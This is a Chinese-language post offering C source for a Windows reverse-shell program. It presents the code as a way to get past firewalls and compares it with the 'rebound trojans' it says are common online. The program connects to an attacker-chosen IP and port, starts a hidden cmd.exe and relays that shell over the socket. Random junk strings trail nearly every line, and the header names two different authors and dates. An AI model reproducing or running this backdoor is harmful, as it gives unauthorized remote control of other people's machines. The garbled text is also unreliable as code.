这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H1t`fyri2
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/* ============================== ?lPn{oB9"
Rebound port in Windows NT `MLOf
By wind,2006/7 ]Pp}=hcD
===============================*/ p{vGc-zP.
#include /!i`K{
#include &E?TR
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#pragma comment(lib,"wsock32.lib") Vsj1!}X:
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void OutputShell(); 3LkcK1x.
SOCKET sClient; De-hHY{>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gX%"Ki7.
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void main(int argc,char **argv) ?Tlt(%f
{ u\AL`'v
WSADATA stWsaData; 7WMF8(j5
int nRet; nb~592u
SOCKADDR_IN stSaiClient,stSaiServer; U [R[VY7
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if(argc != 3) Ql1J?9W
{ j[RY
printf("Useage:\n\rRebound DestIP DestPort\n"); z 0}JiW R
return; D#k ~lEPub
} u~~H'*EM
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WSAStartup(MAKEWORD(2,2),&stWsaData); `9Rj;^NJ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KaIkO8Dq0
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stSaiClient.sin_family = AF_INET; aN;c.1TY
stSaiClient.sin_port = htons(0); %HD0N&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W]oILL"d
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OQJ#>*?
{ 6QYHPz
printf("Bind Socket Failed!\n"); ujf]@L?
return; #z5$_z?_
} so>jz@!EE
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stSaiServer.sin_family = AF_INET; 98rO]rg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RI3GAd
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u*m|o8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GboZ T68
{ [y&uc
printf("Connect Error!");
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return; -y'tz,En.
} 4[
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OutputShell(); |vPU]R>6
} ~='}(Fg:
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void OutputShell() XE$;Z'Qhjm
{ bcYGkvGbO
char szBuff[1024]; _)Ad%LPsd7
SECURITY_ATTRIBUTES stSecurityAttributes; 2[CHiB*>
OSVERSIONINFO stOsversionInfo; rM`z2*7%d
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H-qbgd6&>R
STARTUPINFO stStartupInfo; jfU$qo!gi
char *szShell; 717OzrF}A?
PROCESS_INFORMATION stProcessInformation; }1mkX\wWP
unsigned long lBytesRead; "uP~hFA7M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lxfv'A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cz1 m05E
stSecurityAttributes.lpSecurityDescriptor = 0; P#9Pq,I
stSecurityAttributes.bInheritHandle = TRUE; ~^J9v+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "9IR|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X2mZ~RB(p
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q\/xx`L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AHzm9U @
stStartupInfo.wShowWindow = SW_HIDE; mYFc53B
stStartupInfo.hStdInput = hReadPipe; ?!u9=??
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G6bvV*TRi
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GetVersionEx(&stOsversionInfo); p{x6BVw?>
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switch(stOsversionInfo.dwPlatformId) D^S"6v"z
{ (@NW2
case 1: c1xX)cF
szShell = "command.com"; kvN<o-B
break; Xb@dQRVX
default: +bk+0k9k5
szShell = "cmd.exe"; xD9ZL
break; {8556> \~
} ybv]wBpM:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }O\g<ke:u
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send(sClient,szMsg,77,0); j>3Fwg9V
while(1) XO5E-Nh
{ \Rw^&;\1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \j4!dOGZ
if(lBytesRead) d*$x|B|V
{ TVVu_ib
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j:$Z-s
send(sClient,szBuff,lBytesRead,0); USJ4Z
} 8l<~zIoO
else a1x].{
{ v8TNBsEL
lBytesRead=recv(sClient,szBuff,1024,0); v}=pxWhm
if(lBytesRead<=0) break; k>=wwPy
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >:OP+Vc
} zVis"g`
} P]7s1kgaS
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return; AD>/#Ul
}